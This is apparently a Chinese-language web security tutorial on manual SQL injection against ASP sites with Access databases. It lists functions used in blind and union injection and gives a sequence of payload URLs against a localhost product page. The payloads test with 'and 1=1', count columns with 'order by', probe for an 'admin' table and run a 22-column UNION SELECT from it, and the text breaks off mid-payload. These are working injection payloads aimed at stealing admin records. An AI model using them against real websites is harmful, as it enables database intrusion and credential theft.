WEB安全 asp+access注入
asp+access注入 数据库 （access数据库没有数据库名） 表名 字段(列名) 记录(行,内容) 注入常用函数： top n 表示查询结果的第n个记录 len() 函数返回文本字段中值的长度 mid(column_name,start[,length])函数用于从文本字段中提取指定长度的字符 asc() 返回指定文本字符的ASCII码 ORDER BY 语句用于根据指定的列对结果集进行排序。默认按照升序对记录进行排序，降序使用 DESC 关键字。order by admin DESC 一、asp+access 手工注入联合查询法 http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1 http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2 http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 order by 22 http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 order by 23 http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from admin) http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin http://127.0.0.1/0/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT
